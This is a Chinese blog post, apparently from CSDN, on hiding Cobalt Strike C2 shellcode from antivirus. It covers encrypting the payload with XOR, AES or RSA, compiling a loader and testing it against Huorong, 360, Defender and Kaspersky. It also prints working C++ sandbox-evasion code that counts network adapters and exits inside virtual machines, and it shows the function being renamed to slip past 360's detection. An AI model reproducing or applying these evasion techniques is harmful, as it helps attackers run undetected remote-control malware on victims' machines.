C2远控Shellcode沙盒对抗

本文介绍了如何使用Shellcode加密技术,如AES、RSA和XOR加密,以及针对虚拟机环境的检测方法,以逃避动态安全软件的查杀,包括通过适配器数量检测判断是否在虚拟环境中并采取相应措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Shellcode 自写打乱

汇编佬手搓专用,一般人搞不定。

Shellcode 加密混淆

编辑 vs 设置

每次新项目在编译的时候,需要注意一些配置文件。

项目-》属性

image-20240226133441229

image-20240226133557755

image-20240226133655808

image-20240226133725116

image-20240226133758662

打开项目,点击.sln

image-20240226142305313

项目里面是目前主流的加密方式和常见加载

image-20240226142422918

image-20240226142431838

如果出现#include <stdio>.h不存在问题,在 win sdk 上设置以下。

将所有项目都修改。

aes 加密右键–》属性

rsa 加密右键–》属性

shellcode 加密库右键–》属性

image-20240226144240472

xor 加密

拿到 cs 的 payload 这里用的 x64 的,放入 xor.py 进行加密

image-20240226145312404

将生成好的密文,放入项目中

image-20240226145330452

image-20240226145426122

加载的密钥要一致

image-20240226145647383

其他的两个文件排除,完事编译运行

image-20240226145838938

image-20240226150355467

上线了,这个黑框可以自行调试让其隐藏

image-20240226150854706

仍给火绒,啊?(不是吧)

火绒兄弟到挺不住了

image-20240226152143147

扔给 360,静态过,动态查杀(这里没开核晶,下次一定)

PS:其实上次测还是查杀状态…有的时候可能是因为虚拟机的原因

image-20240226152816288

df 直接无了

image-20240226152610259

df和卡巴都是动态查杀,或者说是内存查杀,这个十分难搞,不过目前还是有一定方法。

黑框框会发现还是执行的 cs 的 shellcode,本质上代码试过了,杀毒点就放在最后,持续运行,检测高危命令或者原生 shellcode 直接干掉就完了。

有没有一种可能它一检测加载,就睡眠,逃过杀毒检测在恢复过来。

xor加密+沙盒对抗

image-20240226190119081

修复,生成

int GetNumAdapters() {
    DWORD dwSize = 0;
    GetAdaptersAddresses(AF_UNSPEC, 0x0010, NULL, NULL, &dwSize);
    PIP_ADAPTER_ADDRESSES pAddresses = new (std::nothrow) IP_ADAPTER_ADDRESSES[dwSize];
    // Change the allocation type from BYTE to IP_ADAPTER_ADDRESSES

    if (!pAddresses) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return -1; // or appropriate error code
    }

    GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
    // Remove reinterpret_cast, as the memory type is now correct

    int numAdapters = 0;
    PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
    while (pCurrAddresses) {
        if (pCurrAddresses->OperStatus == IfOperStatusUp) {
            numAdapters++;
        }
        pCurrAddresses = pCurrAddresses->Next;
    }

    delete[] pAddresses;
    return numAdapters;
}

image-20240226173149305

这里bool detect_sandbox() 被检测,360直接报

image-20240226190119081

删除bool detect_sandbox() ,换一个写法

bool detectSandbox() {
    bool isSandbox = false;

    DWORD dwSize = 0;

    // 获取适配器信息,第一次调用获取缓冲区大小
    GetAdaptersAddresses(AF_UNSPEC, 0x0010, NULL, NULL, &dwSize);
    PIP_ADAPTER_ADDRESSES pAddresses = new (std::nothrow) IP_ADAPTER_ADDRESSES[dwSize];

    // 分配内存类型更改为IP_ADAPTER_ADDRESSES
    if (!pAddresses) {
        std::cerr << "内存分配失败。" << std::endl;
        return false;
    }

    // 第二次调用获取适配器信息
    if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize) == ERROR_SUCCESS) {
        // 不再需要reinterpret_cast,因为内存类型现在正确
        int numAdapters = 0;
        PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;

        // 遍历适配器列表,计算活跃适配器数量
        while (pCurrAddresses) {
            if (pCurrAddresses->OperStatus == IfOperStatusUp) {
                numAdapters++;
            }
            pCurrAddresses = pCurrAddresses->Next;
        }

        delete[] pAddresses;

        std::cout << "网络适配器数量: " << numAdapters << std::endl;

        // 如果网络适配器数量小于 2,可能处于虚拟机环境中
        if (numAdapters < 2) {
            std::cout << "网络适配器数量较少,可能处于虚拟机环境中" << std::endl;
            isSandbox = true;
        }
    }

    return isSandbox;
}

int main(){
    ...
   // 获取网络适配器数量
   if (detectSandbox()) {
       // 如果处于虚拟机环境,立即停止运行
       return 1;
   }
    ...
}

不报了

image-20240226190214714

虚拟机是打不开的,本地加载直接上线。

xor加载方式用的回调函数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值